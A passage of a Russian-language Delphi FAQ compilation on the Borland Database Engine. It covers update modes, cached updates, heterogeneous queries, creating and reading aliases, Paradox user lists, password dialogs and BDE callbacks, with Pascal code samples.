иногда по неизвестным причинам BDE перечитывает запросы, которые совершенно этого не требуют. Например мне встречалась ситуация с неявным перевыполнением запроса при перемещении по grid-у detail-таблицы, причем запрос никак не был связан ни с master ни с detail-таблицами. Избавиться от проблемы не удалось.

Соответственно, чтобы предотвратить плохую производительность, нужно или держать минимум данных открытыми в TQuery, или стремиться к минимизации количества записей, выбираемых TQuery. Также можно открыть второй TDatabase, и работать например со справочными таблицами только в нем. Таким образом изменения будут идти в одном коннекте, и не будут вызывать завершение транзакции и перечитывание данных в другом. В компонентах прямого доступа это решается более простым способом, т.к. там поддерживается произвольное количество транзакций для одного коннекта. Есть, кстати, и оригинальное решение, которое позволяет использовать коннект TDatabase совместно с компонентами FreeIBComponents или IBX:

var
  h: tisc_db_handle;

DB := TIBDatabase.Create(nil);

try
  Dbtables.Check(DbiGetProp(HDBIOBJ(DMCommBilling.Database.Handle), dbNATIVEHNDL, @h, sizeof(tisc_db_handle), l));
  DB.DBName := 'Cloned';
  DB.Handle := h;
  TR := TIBTransaction.Create(nil);

try

и так далее. Таким образом, в приложении BDE можно дополнительно обрабатывать данные в транзакциях IBX. Приложение получается комбинированным, поскольку для доступа к данным в новой транзакции придется использовать компоненты IBX.

Record/Key deleted

Надо сказать, что BDE облегчает жизнь программисту хотя бы тем, что перечитывает запись, которую собирается редактировать пользователь. Т.е. как только BDE переводит TTable или "живой" TQuery в режим Edit, он производит выборку текущей записи (по первичному ключу) и показывает для редактирования самые последние, актуальные, данные. Правда, пока пользователь редактирует запись, ее могут изменить или даже удалить другие пользователи - BDE никоим образом не "блокирует" запись, которая редактируется, т.к. в SQL вообще нет команды вроде "заблокировать запись". Поэтому после Post клиент может обнаружить, что его изменения не попадут в базу данных, т.к. запись уже изменилась или удалена. И обнаружит он это или нет, зависит от режима TDataSet.UpdateMode.

UpdateMode имеет 3 режима:

upWhereAll
По умолчанию - BDE пытается сделать UPDATE с внесением в условие WHERE всех значений полей, которые были ДО момента редактирования. Если при этом произошла ошибка, значит хотя бы одно поле у редактируемой записи уже было кем-то изменено (с момента входа в режим редактирования до момента Post).
upWhereChanged
BDE пытается сделать UPDATE с условием WHERE, проверяющим старые значения только измененных полей. Т.е. чтобы убедиться, что пользователь поменял именно те значения полей, которые видел, на новые. Если произошла ошибка, то это значит что одно из изменяемых полей было уже кем-то изменено.
upWhereKeyOnly
BDE обновляет запись, устанавливая в WHERE поиск записи только по ее первичному ключу.
Соответственно, если запись не найдена, то выдается упомянутое в заголовке сообщение Record/Key deleted. Обратите внимание, что успешное обновление записи в режимах upWhereChanged или upWhereKeyOnly может вызвать проблемы с конкурентным обновлением. Например, существует таблица TABLE, у которой три поля: ID, NAME и PRICE.

Два пользователя открывают таблицу. Один видит, что для данного имени товара неверно указана цена. Другой счел, что цена правильная, только имя товара указано с ошибкой. У обоих UpdateMode установлен в upWhereKeyOnly или upWhereChanged.

После изменения пользователи по очереди нажимают Post (вероятность одновременного нажатия достаточно низка, а кто из них нажал на кнопку первым не имеет значения). В результате оказалось изменено и название товара и его цена, и комбинация этих полей опять содержит неправильную информацию!

В данном частном случае избавиться от проблемы можно установкой UpdateMode только upWhereAll, чтобы запрос при обновлении проверял все зависимые поля. Или, можно подключить компонент TUpdateSQL и прописать для обновления данных запрос, который будет проверять на "старые" значения и имя товара и его цену. Однако работать с TUpdateSQL без CachedUpdates невозможно.

Другая причина, по которой может происходить сообщение Record/Key deleted - перечитывание данных после их обновления. BDE таким образом (по крайней мере для TTable) пытается вставить запись в нужное место (в порядке сортировки) кэша. Но если после вставки или обновления запись на сервере изменилась - другим пользователем, default-условием или триггером (с генератором) - то BDE не сможет ее найти и выдаст упомянутое сообщение.

Если запись от момента редактирования до момента перечитывания была изменена другим пользователем, то тут ничего нельзя сделать. Если это был default или триггер, то вполне возможно, что лучше отказаться от считывания таких полей в DBGrid (вызовите FieldEditor). Если же это поле первичного ключа, которому в триггере присваивается значение генератора, то вам явно стоит прочитать статью, которая за 4 года существования не потеряла своей актуальности.

Cached Updates

При работе без CachedUpdates изменения, производимые над данными, отправляются на сервер немедленно. Это достаточно удобно, т.к. позволяет немедленно обнаруживать конфликты изменений, но не всегда хорошо для сетевого трафика если нет явного управления транзакциями или приводит к накоплению версий записей при длительных явных транзакциях. В первую очередь режим CachedUpdates подходит для "блокировочных" серверов, в которых чтение данных блокирует их от изменения (например MS SQL, Sybase).

CachedUpdates позволяет накопить изменения, и затем "выстрелить" их на сервер одним пакетом. При этом время блокировок минимально, минимален также сетевой трафик, но существует высокая вероятность что данные уже успели измениться. Поэтому при использовании CU необходимо тщательно планировать именно процесс обращения к таблицам и режимы UpdateMode.

За более подробной информацией по CachedUpdates обращайтесь к документации или к книге Шумакова ("Delphi 3 и создание приложений баз данных", в том числе последующие издания для Delphi 4 и 5 в соавторстве с Фароновым), где все это очень хорошо описано. Нас сейчас CU больше интересует как замена RequestLive.

Действительно, "оживление" запроса выполняется следующим образом - к компоненту TQuery подключается компонент TUpdateSQL, в котором прописываются вручную или автоматически запросы на вставку, удаление или изменение записи. Заметьте, только одной записи. После включения CachedUpdates:=True при модификации данных именно эти запросы, а не конструируемые Local SQL при RequestLive=True, будут отправляться на сервер (отправляются они только в момент ApplyUpdates, а не в момент реального обновления записи).

Самым непонятным является то, почему связка TQuery и TUpdateSQL не может работать без CachedUpdates. Например компоненты IBX без проблем обеспечивают такой режим, да и вообще там у TIBQuery нет свойства RequestLive (т.к. нет парсера SQL на клиентской стороне). Т.е. в IBX, конечно, можно использовать CachedUpdates, но разве что при действительной в нем необходимости.

Гетерогенные запросы

BDE обладает уникальной способностью выполнять запросы, которые обращаются к таблицам, находящимся на разных серверах баз данных (или к таблицам разных форматов). Это так называемые "гетерогенные" запросы. Иногда их называют "распределенными", т.к. данные "распределены" по разным базам данных возможно одного и того же SQL-сервера.

Выполнить гетерогенный запрос можно следующим образом:

Открыть 2 или более TDatabase, каждый для соответствующей базы данных. Например, один компонент подсоединен как A к алиасу TEST, а другой, как
Открыть TDatabase, который подсоединен к драйверу типа STANDARD(т.е. к локальным таблицам. Существование оных необязательно). См. окно свойств TDatabase.
Выполнить запрос в компоненте TQuery, подсоединенном к "стандартному" TDatabase. В результате должна получиться такая "конструкция"
а запрос иметь вид

SELECT C.CLIENT_NAME
FROM ":A:CLIENTS" C, ":B:EMPLOYEE" E
WHERE E.EMP_NO = C.CLIENT_ID

Конечно, по смыслу это полная чушь, но зато показывает пример указания таблиц из разных базах данных. Еще один пример запроса можно найти по ключевой фразе 'heterogeneous joins' в BDE32.HLP.

Пока я готовил и проверял этот пример, установка Query1.Active в true вызывала страшные содрогания винчестера. Дело в том, что подобные запросы выполняются следующим образом:

Ядро Local SQL "разбирает" запрос, и выясняет, какие таблицы из каких баз данных используются в запросе
Данные из каждой таблицы вытаскиваются в локальный кэш (т.е. на клиента), в память или временные таблицы.
Извлеченные данные обрабатываются локальным SQL (join, where, order by и т.п.).
Однако происходит так не всегда. По крайней мере в моем тестовом случае Local SQL начал выполнять просто чудовищные операции:

Сначала для одной, а затем для другой таблицы был выполнен SELECT COUNT(*). Т.е. Local SQL сначала пытается понять, во что ему обойдется скачивание данных на клиентскую часть. Очевидно, записей в CLIENTS ему показалось мало, и он вытащил все записи из EMPLOYEE, а потом начал последовательно выбирать соответствующие записи из CLIENTS отдельными запросами для каждой записи (проверяя соответствие условия WHERE). Буквально SELECT ... FROM CLIENTS WHERE CLIENT_ID = ? ORDER BY CLIENT_ID ASC.

(зачем здесь нужен order by - неизвестно). Почему произошло не наоборот, т.е. меньшая таблица не была выбрана в память, неясно.

Можно даже не упоминать, что select count(*) на реальных данных может выполняться долго (даже без учета возможной сборки мусора). Не говоря о том, что в EMPLOYEE было 42 записи, и отдельных запросов к таблице CLIENTS получилось тоже 42.

Вот такая веселая арифметика. Зато получены четкие объяснения, почему "трещал" винчестер.

Однако, пусть даже и таким жутким способом, но BDE умеет выполнять гетерогенные запросы. Благодаря Local SQL и тому, что BDE умеет работать с локальными таблицами (которые он использует для хранения промежуточных данных таких запросов). Ни IBObjects, ни FIBC/IBX, ни IB API не имеют таких возможностей, и соответственно, не могут выполнять гетерогенные запросы.

Итог

После прочтения этой статьи может сложиться впечатление, что BDE вообще не пригоден для работы с SQL-серверами. На самом деле это не так. Если знать его архитектуру (надеюсь, статья вам в этом помогла), то можно снизить неэффективность BDE в приложениях до минимума.

Другой важный момент - скорость разработки. Она до сих пор остается самой высокой по сравнению с другими наборами компонент (даже с IBObjects). А скорость разработки - это в первую очередь более низкая стоимость разработки системы.

Кстати, может оказаться, что вся эта "неэффективность" в смысле большого объема передаваемых данных на вашей 100мбит сети и не проявится. А если сеть гигабитная, то вы вообще никакого лишнего трафика не заметите. И наоборот - для модемных соединений BDE, конечно, никуда не годится. Или если вам нужно тщательное планирование и управление транзакциями IB, то BDE здесь тоже делать нечего.

Есть и более жесткие критерии выбора - если вы собираетесь переходить на Kylix или IB6 (диалект 3), то c BDE придется расстаться. Если же в течение ближайшего года или полутора вы не собираетесь этого делать - забудьте об альтернативах, и продолжайте работать привычным способом.

Взято с http://delphiworld.narod.ru


Конфликт IDAPI German и English

Я просто установил DtopicsP v1.20 и DtopicsD (03-29-96). При запуске dtopics.exe возникает ошибка DB-Error $3E05 ('cannot load driver') (не могу загрузить драйвер).

Я нашел ответ в German Borland Forum. Ошибка происходит, если установлен German BDE. В этом случае в систему устанавливается вместо IDR10009.DLL (который присутствует в английской версии) файл IDR10007.DLL. После установки данного файла в каталог IDAPI все заработало как часы.

Это означает, что приложения, разработанные под English Delphi не будут работать под German или French Delphi.

Автор: Walter Schell

Взято с http://delphiworld.narod.ru


Работа с Alias

Cодержание раздела:

Как создать постоянный Alias?
Как получить параметры Alias? Updated!
Как по Alias узнать физический путь к базе данных? Updated!
Добавление псевдонима с помощью функции DbiAddAlias
Задание псевдонима программным путем New!

См. также другие разделы:
Работа с базами данных

См. также статьи в других разделах:
Как найти все Alias, укакзывающие на MS SQL Server?


Как создать постоянный Alias?

There has been a number of occasions where I needed to create persistent BDE aliases. The point is that the DB API isn't very discussed and is unkown to most Delphi developers. Despite that fact, the Dbi calls are very powerful and useful functions.

The function below, CreateAlias, encapsulates the DbiAddAlias call, with some error checking and BDE initialization and finalization procedures.

uses Windows, SysUtils, DbiProcs, DbiErrs, DBTables;

const
  CRLF = #13 + #10;
  ERR_ALIASDRIVERNOTFOUND = 'Specified driver does not exist.';
  ERR_ALIASALREADYEXISTS = 'The Alias (%s) already exists.' + CRLF +
    'Would you like to reconfigure it?';
  ERR_ALIASINVALIDPARAM = 'Invalid Alias name.';
  ERR_ALIASCLOSEBDE = 'Error closing the BDE.' + CRLF +
    'Please close all applications and restart Windows';
  ERR_ALIASOPENBDE = 'Error initializing BDE. Cannot create Alias.';

procedure CreateAlias(sAlias, sPath, sDriver: string;
  PersistentAlias: Boolean);
var
  dbEnv: DbiEnv;
  dbRes: DbiResult;
  Resp: word;
begin
  { Sets the BDE environment }
  with dbEnv do
  begin
    StrPCopy(szWorkDir, sPath);
    StrPCopy(szIniFile, '');
    bForceLocalInit := True;
    StrPCopy(szLang, '');
    StrPCopy(szClientName, 'dbClientName');
  end;
  { Initalizes BDE with the environment dbEnv }
  if DbiInit(@dbEnv) <> DbiERR_NONE then
    raise Exception.Create(ERR_ALIASOPENBDE);
  { Adds the specified Alias }
  if sDriver = 'STANDARD' then
    dbRes := DbiAddAlias(nil, pchar(sAlias), nil,
      pchar('PATH:' + sPath), PersistentAlias)
  else
    dbRes := DbiAddAlias(nil, pchar(sAlias), pchar(sDriver),
      pchar('PATH:' + sPath), PersistentAlias);
  case dbRes of
    DbiERR_INVALIDPARAM:
      raise Exception.Create(ERR_ALIASINVALIDPARAM);
    DbiERR_NAMENOTUNIQUE:
      begin
        resp := MessageBox(0, pchar(Format(ERR_ALIASALREADYEXISTS, [sAlias])),
          'CreateAlias', MB_ICONSTOP + MB_YESNO);
        if Resp = ID_YES then
        begin
          Check(DbiDeleteAlias(nil, pchar(sAlias)));
          CreateAlias(sAlias, sPath, sDriver, PersistentAlias);
        end;
      end;
    DbiERR_UNKNOWNDRIVER:
      raise Exception.Create(ERR_ALIASDRIVERNOTFOUND);
  end;
  if DbiExit <> DbiERR_NONE then
    raise Exception.Create(ERR_ALIASCLOSEBDE);
end; {CreateAlias}

The parameters for this function are:

sAlias: Name of the new alias to be created

sPath: Full path of the directory to which the alias should point. With little adjustments, this function can be used to create any kind of aliases, and, instead of passing the path info in this argument, pass all the parameters needed by the driver to create the alias.

sDriver: Name of an existing BDE driver, such as PARADOX, DBASE, STANDARD

PersistentAlias: Determines whether the new alias will be for future use (persistent) or just for the actual session.

Example of usage:

CreateAlias('DBTEST', 'c:\progra~1\borland\delphi~1\projects\cd3\data', 'PARADOX',
  true);
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как получить параметры Alias?

The following function uses the GetAliasParams method of TSession to get the directory mapping for an alias:

uses DbiProcs, DBiTypes;

function GetDataBaseDir(const Alias: string): string;
{* Will return the directory of the database given the alias
  (without trailing backslash) *}
var
  sp: PChar;
  Res: pDBDesc;
begin
  try
    New(Res);
    sp := StrAlloc(length(Alias) + 1);
    StrPCopy(sp, Alias);
    if DbiGetDatabaseDesc(sp, Res) = 0 then
      Result := StrPas(Res^.szPhyName)
    else
      Result := '';
  finally
    StrDispose(sp);
    Dispose(Res);
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/

{
  Here's a demo to demonstrate how to get info about aliases in Delphi.
  First, create a new project with a listbox and 3 labels (called ListBox1,
  Label1, Label2, and Label3).  Then add an OnCreate event handler for the form
  with this code in it:
}

procedure TForm1.FormCreate(Sender: TObject);
begin
  {
    GetAliasNames Populates a string list with the names of persistent
    Borland Database Engine (BDE) aliases.
  }
  Session.GetAliasNames(ListBox1.Items);
end;

{ Now add an OnClick event for the Listbox: }

procedure TForm1.ListBox1Click(Sender: TObject);
var
  tStr: array[0..100] of char;
  Desc: DBDesc;
{
 The DBDesc structure describes a database, using the following fields:

 szName    DBINAME  Specifies the database alias name.
 szText    DBINAME  Descriptive text.
 szPhyName  DBIPATH  Specifies the physical name/path.
 szDbType   DBINAME  Specifies the database type.
}
begin
  if ListBox1.Items.Count = 0 then
    exit;
  StrPLCopy(tStr, ListBox1.Items.Strings[ListBox1.ItemIndex], High(tStr));
  DbiGetDatabaseDesc(tStr, @Desc);
  with Desc do
  begin
    Label1.Caption := StrPas(Desc.szName);
    Label2.Caption := StrPas(Desc.szPhyName);
    Label3.Caption := StrPas(Desc.szDbType);
    Label4.Caption := StrPas(Desc.szText);
  end;
end;

// Now add the following to the 'uses' clause at the top of the unit:

uses
  {...,}DB, DBTables, DBITypes, DBIProcs;

{********************************************************************}

{
  This Examples is just another approach to get infos about aliases
  Using 2 component (TListBox) and only use 1 uses clause (dbTables)
}

uses
  {...}, DBTables;

type
  TForm1 = class(TForm)
    ListBox1: TListBox;
    ListBox2: TListBox;

{..}

implementation

{..}

procedure TForm1.FormCreate(Sender: TObject);
begin
  {Get Alias Names}
  Session.GetAliasNames(ListBox1.Items);
end;

procedure TForm1.ListBox1Click(Sender: TObject);
begin
  ListBox2.Items.Clear;
  if ListBox1.Items.Count = 0 then
    Exit;
  {Get Alias Driver Names, like Standard, MsAccess, etc}
  ListBox2.Items.Add('DRIVER=' + Session.GetAliasDriverName(ListBox1.Items.Strings
      [ListBox1.ItemIndex]));
  {Get Alias Parameters and add it parameters into listbox2}
  Session.GetAliasParams(ListBox1.Items.Strings[ListBox1.ItemIndex], ListBox2.Items);
end;

end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как по Alias узнать физический путь к базе данных?

function GetAliasDir(alias: PChar): PChar;
var
  s: TStringList;
  i: integer;
  t: string;
  res: array[0..255] of char;
begin
  res := '';
  if Session.IsAlias(alias) then
  begin {Check if alias exists}
    s := TStringList.Create;
    try
      Session.GetAliasParams(Alias, s);
      t := '';
      if s.count > 0 then
      begin
        i := 0;
        while (i < s.count) and (Copy(s.Strings[i], 1, 5) <> 'PATH=') do
          inc(i);
        if (i < s.count) and (Copy(s.Strings[i], 1, 5) = 'PATH =') then
        begin
          t := Copy(s.Strings[i], 6, Length(s.Strings[i]) - 4);
          if t[length(t)] <> '\' then
            t := t + '\';
        end;
      end;
      StrPCopy(res, t);
    except
      StrPCopy(res, '');
    end;
    s.Free;
  end;
  result := res;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/

Если ссылка на таблицу получена через псевдоним, получить физический путь к ней не так просто. Для получения этого пути необходимо использовать функцию BDE DbiGetDatabaseDesc. Данной функции в качестве параметров передаются имя псевдонима и указатель на структуру DBDesc. Структура DBDesc будет заполнена информацией, относящейся к этому псевдониму. Определение структуры:

pDBDesc = ^DBDesc;
DBDesc = packed record        { Описание данной базы данных }
szName          : DBINAME;    { Логическое имя (или псевдоним) }
szText          : DBINAME;    { Описательный текст }
szPhyName       : DBIPATH;    { Физическое имя/путь }
szDbType        : DBINAME;    { Тип базы данных }
end;

Физическое имя/путь будет содержаться в поле szPhyName структуры DBDesc.

Возможные значения, возвращаемые функцией DBIGetDatbaseDesc:

DBIERR_NONE Описание базы данных для pszName было успешно извлечено.
DBIERR_OBJNOTFOUND База данных, указанная в pszName, не была обнаружена.
Приведенный ниже пример кода показывает как можно получить физический путь для компонента TTable, использующего псевдоним DBDemos:

var
  vDBDesc: DBDesc;
  DirTable: String;
begin
  Check(DbiGetDatabaseDesc(PChar(Table1.DatabaseName), @vDBDesc));
  DirTable := Format('%s\%s', [vDBDesc.szPhyName, Table1.TableName]);
  ShowMessage(DirTable);
end;

Автор: Xavier Pacheco

Взято с http://delphiworld.narod.ru


Добавление псевдонима с помощью функции DbiAddAlias

Автор: Tom Stickle

var
  pszAliasName: PChar;  { Имя псевдонима }
  pszDriverType: PChar; { Тип драйвера для псевдонима }
  pszParams: PChar;     { Дополнительные параметры }
  bPersist: Bool;       { Постоянный или временный псевдоним }
  dbiRes: Integer;      { Возвращаемый код }
begin
  pszAliasName := strAlloc(25);
  pszDriverType := strAlloc(25);
  pszParams := strAlloc(100);

  try
    bPersist := True;
    strPcopy(pszAliasName, 'Lance');
    strPcopy(pszDriverType, 'PARADOX');
    strPcopy(pszParams, 'PATH:' + 'c:\Paradox\');

    dbiRes := DbiAddAlias(nil, pszAliasName, pszDriverType, pszParams,
      bPersist);

  finally
    strDispose(pszAliasName);
    strDispose(pszDriverType);
    strDispose(pszParams);
  end;
end;

Взято с http://delphiworld.narod.ru


Задание псевдонима программным путем

Эта информация поможет вам разобраться в вопросе создания и использования ПСЕВДОНИМОВ баз данных в ваших приложениях.

Вне Delphi создание и конфигурирование псевдонимов осуществляется утилитой BDECFG.EXE. Тем не менее, применяя компонент TDatabase, вы можете в вашем приложении создать и использовать псевдоним, не определенный в IDAPI.CFG.

Важно понять, что создав псевдоним, использовать его можно только в текущем сеансе вашего приложения. Псевдонимы определяеют расположение таблиц базы данных и параметры связи с сервером баз данных. В конце концов, вы получаете преимущества использования псевдонимов в пределах вашего приложения без необходимости беспокоиться о наличии их в конфигурационном файле IDAPI.CFG в момент инициализации приложения.

Некоторые варианты решения задачи:

Пример #1:

Пример #1 создает и конфигурирует псевдоним для базы данных STANDARD (.DB, .DBF). Псевдоним затем используется компонентом TTable.

Пример #2:

Пример #2 создает и конфигурирует псевдоним для базы данных INTERBASE (.gdb). Псевдоним затем используется компонентом TQuery для подключения к двум таблицам базы данных.

Пример #3:

Пример #3 создает и конфигурирует псевдоним для базы данных STANDARD (.DB, .DBF). Демонстрация ввода псевдонима пользователем и его конфигурация во время выполнения программы.

Пример #1: Используем базу данных .DB или .DBF (STANDARD)

Создаем новый проект.
Располагаем на форме следующие компоненты: - TDatabase, TTable, TDataSource, TDBGrid, and TButton.
Дважды щелкаем на компоненте TDatabase или через контекстное меню (правая кнопка мыши) вызываем редактор базы данных.
Присваиваем базе данных имя 'MyNewAlias'. Это имя будет выполнять роль псевдонима в свойстве DatabaseName для компонентов типа TTable, TQuery, TStoredProc.
Выбираем в поле Driver Name (имя драйвера) пункт STANDARD.
Щелкаем на кнопке Defaults. Это автоматически добавляет путь (PATH=) в секцию перекрытых параметров (окно Parameter Overrides).
Устанавливаем PATH= to C:\DELPHI\DEMOS\DATA (PATH=C:\DELPHI\DEMOS\DATA).
Нажимаем кнопку OK и закрываем окно редактора.
В компоненте TTable свойству DatabaseName присваиваем 'MyNewAlias'.
В компоненте TDataSource свойству DataSet присваиваем 'Table1'.
В компоненте DBGrid свойству DataSource присваиваем 'DataSource1'.
Создаем в компоненте TButton обработчик события OnClick.

procedure TForm1.Button1Click(Sender: TObject);
begin
  Table1.Tablename:= 'CUSTOMER';
  Table1.Active:= True;
end;

Запускаем приложение.
*** В качестве альтернативы шагам 3 - 11, вы можете включить все эти действия в сам обработчик:

procedure TForm1.Button1Click(Sender: TObject);
begin
  Database1.DatabaseName:= 'MyNewAlias';
  Database1.DriverName:= 'STANDARD';
  Database1.Params.Clear;
  Database1.Params.Add('PATH=C:\DELPHI\DEMOS\DATA');
  Table1.DatabaseName:= 'MyNewAlias';
  Table1.TableName:= 'CUSTOMER';
  Table1.Active:= True;
  DataSource1.DataSet:= Table1;
  DBGrid1.DataSource:= DataSource1;
end;

Пример #2: Используем базу данных INTERBASE

Создаем новый проект.
Располагаем на форме следующие компоненты: - TDatabase, TQuery, TDataSource, TDBGrid, and TButton.
Дважды щелкаем на компоненте TDatabase или через контекстное меню (правая кнопка мыши) вызываем редактор базы данных.
Присваиваем базе данных имя 'MyNewAlias'. Это имя будет выполнять роль псевдонима в свойстве DatabaseName для компонентов типа TTable, TQuery, TStoredProc.
Выбираем в поле Driver Name (имя драйвера) пункт INTRBASE.
Щелкаем на кнопке Defaults. Это автоматически добавляет путь (PATH=) в секцию перекрытых параметров (окно Parameter Overrides).
   SERVER NAME=IB_SERVEER:/PATH/DATABASE.GDB
   USER NAME=MYNAME
   OPEN MODE=READ/WRITE
   SCHEMA CACHE SIZE=8
   LANGDRIVER=
   SQLQRYMODE=
   SQLPASSTHRU MODE=NOT SHARED
   SCHEMA CACHE TIME=-1
   PASSWORD=

Устанавливаем следующие параметры
   SERVER NAME=C:\IBLOCAL\EXAMPLES\EMPLOYEE.GDB
   USER NAME=SYSDBA
   OPEN MODE=READ/WRITE
   SCHEMA CACHE SIZE=8
   LANGDRIVER=
   SQLQRYMODE=
   SQLPASSTHRU MODE=NOT SHARED
   SCHEMA CACHE TIME=-1
   PASSWORD=masterkey

В компоненте TDatabase свойство LoginPrompt устанавливаем в 'False'. Если в секции перекрытых параметров (Parameter Overrides) задан пароль (ключ PASSWORD) и свойство LoginPrompt установлено в 'False', при соединении с базой данный пароль запрашиваться не будет. Предупреждение: при неправильно указанном пароле в секции Parameter Overrides и неактивном свойстве LoginPrompt вы не сможете получить доступ к базе данных, поскольку нет возможности ввести правильный пароль - диалоговое окно "Ввод пароля" отключено свойством LoginPrompt.
Нажимаем кнопку OK и закрываем окно редактора.
В компоненте TQuery свойству DatabaseName присваиваем 'MyNewAlias'.
В компоненте TDataSource свойству DataSet присваиваем 'Query1'.
В компоненте DBGrid свойству DataSource присваиваем 'DataSource1'.
Создаем в компоненте TButton обработчик события OnClick.

procedure TForm1.Button1Click(Sender: TObject);
begin
  Query1.SQL.Clear;
  Query1.SQL.ADD(
  'SELECT DISTINCT * FROM CUSTOMER C, SALES S
    WHERE (S.CUST_NO = C.CUST_NO)
    ORDER BY C.CUST_NO, C.CUSTOMER');
  Query1.Active:= True;
end;

Запускаем приложение.
Пример #3: Ввод псевдонима пользователем

Этот пример выводит диалоговое окно и создает псевдоним на основе информации, введенной пользователем.

Директория, имя сервера, путь, имя базы данных и другая необходимая информация для получения псевдонима может быть получена приложением из диалогово окна или конфигурационного .INI файла.

Выполняем шаги 1-11 из примера #1.
Пишем следующий обработчик события OnClick компонента TButton:

procedure TForm1.Button1Click(Sender: TObject);
var
  NewString: string;
  ClickedOK: Boolean;
begin
  NewString := 'C:\';
  ClickedOK := InputQuery('Database Path',
    'Path: --> C:\DELPHI\DEMOS\DATA', NewString);
  if ClickedOK then
  begin
    Database1.DatabaseName := 'MyNewAlias';
    Database1.DriverName := 'STANDARD';
    Database1.Params.Clear;
    Database1.Params.Add('Path=' + NewString);
    Table1.DatabaseName := 'MyNewAlias';
    Table1.TableName := 'CUSTOMER';
    Table1.Active := True;
    DataSource1.DataSet := Table1;
    DBGrid1.DataSource := DataSource1;
  end;
end;

Запускаем приложение.

Взято с http://delphiworld.narod.ru


Поддержка пользователей, защита

Cодержание раздела:

Как сделать список всех пользователей BDE?
Как сменить пароль для таблицы Paradox?
Как использовать свой диалог ввода пароля BDE

См. также статьи в других разделах:
Как найти пароль к базе данных?
Можно-ли создать пользователя БД при помощи SQL-команды?
Установка Interbase и добавление пользователя
Как назначить пароль на таблицу?
Имя пользователя Paradox
Ввести пароль Paradox
Вскрытие запароленной таблицы Paradox
Как сменить пароль (master password) для таблицы Paradox


Как сделать список всех пользователей BDE?

With Paradox:

procedure BDEGetPDXUserList(AList: TStrings);
var
  hCur: hDBICur;
  UDesc: USERDesc;
begin
  AList.Clear;
  Check(DBIOpenUserList(hCur));
  try
    while DBIGetNextRecord(hCur, dbiNOLOCK, @UDesc, nil) <> DBIERR_EOF do
    begin
      AList.Add(StrPas(UDesc.szUserName));
    end;
  finally
    DBICloseCursor(hCur);
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как сменить пароль для таблицы Paradox?

Нет способа сделать это в пределах Delphi VCL. Кажется, это довольно серьезное упущение. Однако, есть возможность сделать это напрямую через Borland Database Engine через интерфейс предоставляемый модулями DBIPROCS и DBITYPES. Нужно использовать DbiDoRestructure.
Copyright © 1996 Epsylon Technologies
Взято из FAQ Epsylon Technologies (095)-913-5608; (095)-913-2934; (095)-535-5349


Как использовать свой диалог ввода пароля BDE?

//  .....
//  .....
  public
    { Public declarations }
    procedure Password(Sender: TObject; var Continue: Boolean);
//    ...
  end;

var
  FormMain: TFormMain;

implementation
{$R *.dfm}

procedure TFormMain.Password(Sender: TObject; var Continue: Boolean);
var
  Passwd: String[15];
begin
  Passwd := '';

  FormPasswd := TFormPasswd.Create(Application);  // Creating dialog
  try
    if (FormPasswd.ShowModal = ID_OK) then begin  // If OK is pressed then get password from edit "edPassword"
      Passwd := FormPasswd.edPasswd.Text
    end
      else begin                                  // If Cancel is pressed then terminate application
        Application.ShowMainForm := False;
        Application.Terminate;
        Exit;
      end;
  finally
    FormPasswd.Free;                              // finally free password form
  end;

  Continue := (Passwd > '');
  Session.AddPassword(Passwd);                    // Add password typed to session
end;

procedure TFormMain.FormCreate(Sender: TObject);
begin
  ClientDatabase.Session.RemoveAllPasswords;  // Remove all typed passwords from session, so user need type password again in app start
//  Undocument next row in debug mode. This is for debugging and testing only, so we don't need typing password again and again ...
//  ClientDatabase.Session.AddPassword('YOUR-PASSWORD');
  ClientDatabase.Session.OnPassword := Password;  // Set OnPassword Event
end;

Взято с http://delphiworld.narod.ru


Непосредственное обращение к BDE

Cодержание раздела:

Обратные вызовы BDE32 для получения статуса операций
Каким драйвером пользуется TDATABASE?
Изменение месторасположения *.NET-файла
Демонстрация обратного вызова BDE
Пример DbiAddFilter


Обратные вызовы BDE32 для получения статуса операций

Дополнительная документация, описывающая вызовы функций BDE, находится в файле BDE32.HLP (расположенном в каталоге, где установлен 32-битный IDAPI).

При создании функций обратного вызова BDE, BDE будет осуществлять "обратный вызов" функций вашего приложения, позволяя тем самым извещать ваше приложение о происходящих событиях, а в некоторых случаях передавать информацию обратно BDE.

BDE определяет несколько возвращаемых типов, которые могут быть установлены для обратного вызова: состояние больших пакетных операций.
запросы для передачи информации вызывающему оператору.
Данный совет подробно описывает обратный вызов типа cbGENPROGRESS, позволяющий изменять полоску прогресса в соответствии с состоянием операции.

Чтобы это сделать, необходимо сперва вызвать функцию DbiGetCallBack(), возвращающую дескриптор обратного вызова, который мог быть уже установлен (с этими параметрами), и сохранить информацию в структуре данных. Затем установить свой обратный вызов, заменяя им любой установленный до этого.

При установке вашего обратного вызова вам понадобится передавать BDE указатель на структуру данных, содержащую информацию о предыдущем установленном обратном вызове, после чего, при выполнении вашей функции обратного вызова, вы можете воспользоваться оригинальным обратным вызовом (если он установлен).

BDE каждый раз возвращает вашему приложению сообщение, содержащее количество обработанных записей, или же процентное соотношение обработанных записей, также передаваемое в виде целого числа. Ваш код должен учитывать эту ситуацию. Если процентное поле в структуре обратного вызова больше чем -1, можно сделать вывод что передан процент и можно сразу обновить линейку прогресса. Если же это поле меньше нуля, обратный вызов получил текстовое сообщение, помещенное в поле szTMsg и содержащее количество обработанных записей. В этом случае вам понадобится осуществить грамматический разбор текстового сообщения, преобразовать остальные строки в целое, затем вычислить текущий процент обработанных записей, и только после этого изменить линейку прогресса.

Наконец, после осуществления операции с данными, вам необходимо "отрегистрировать" ваш обратный вызов, и вновь установить предыдущую функцию обратного вызова (если она существует).

Для следующего примера необходимо создать форму и расположить на ней две таблицы, компонент ProgressBar и кнопку.

unit Testbc1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls, Grids, DBGrids, DB, DBTables, ComCtrls;

type
  TForm1 = class(TForm)
    Table1: TTable;
    BatchMove1: TBatchMove;
    Table2: TTable;
    Button1: TButton;
    ProgressBar1: TProgressBar;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses Bde; {Здесь расположены Dbi Types и Procs}

{$R *.DFM}

{тип структуры данных для сохранения информации о предыдущем обратном вызове}
type
  TDbiCbInfo = record
